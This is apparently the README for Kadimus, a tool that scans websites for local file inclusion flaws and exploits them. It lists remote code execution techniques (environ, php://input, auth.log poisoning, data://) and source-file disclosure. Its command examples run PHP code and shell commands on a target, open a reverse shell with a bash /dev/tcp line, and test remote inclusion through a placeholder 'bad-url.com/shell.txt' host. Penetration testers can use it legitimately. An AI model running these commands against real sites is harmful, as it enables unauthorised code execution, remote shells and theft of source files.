LFI Scan & Exploit Tool

Kadimus is a tool to check sites to lfi vulnerability , and also exploit it

Features:

  • Check all url parameters
  • /var/log/auth.log RCE
  • /proc/self/environ RCE
  • php://input RCE
  • data://text RCE
  • Source code disclosure
  • Multi thread scanner
  • Command shell interface through HTTP Request
  • Proxy support (socks4://, socks4a://, socks5:// ,socks5h:// and http://)
  • Proxy socks5 support for bind connections

    RCE Available techniques

      environ                   Try run PHP Code using /proc/self/environ
      input                     Try run PHP Code using php://input
      auth                      Try run PHP Code using /var/log/auth.log
      data                      Try run PHP Code using data://text

    Source Disclosure:
      -G, --get-source          Try get the source files using filter://
      -f, --filename STRING     Set filename to grab source [REQUIRED]
      -O FILE                   Set output file (Default: stdout)

Examples:

Scanning:

./kadimus -u localhost/?pg=contact -A my_user_agent
./kadimus -U url_list.txt --threads 10 --connect-timeout 10 --retry-times 0

Get source code of file:

./kadimus -t localhost/?pg=contact -G -f "index.php%00" -O local_output.php --inject-at pg

Execute php code:

./kadimus -t localhost/?pg=php://input%00 -C '<?php echo "pwned"; ?>' -X input

Execute command:

./kadimus -t localhost/?pg=/var/log/auth.log -X auth -c 'ls -lah' --ssh-target localhost

Checking for RFI:

You can also check for RFI errors, just put the remote url on resource/common_files.txt and the regex to identify this, example:

/* http://bad-url.com/shell.txt */
<?php echo base64_decode("c2NvcnBpb24gc2F5IGdldCBvdmVyIGhlcmU="); ?>

in file:

http://bad-url.com/shell.txt?:scorpion say get over here

Reverse shell:

./kadimus -t localhost/?pg=contact.php -Xdata --inject-at pg -r -l 12345 -c 'bash -i >& /dev/tcp/127.0.0.1/12345 0>&1' --retry-times 0
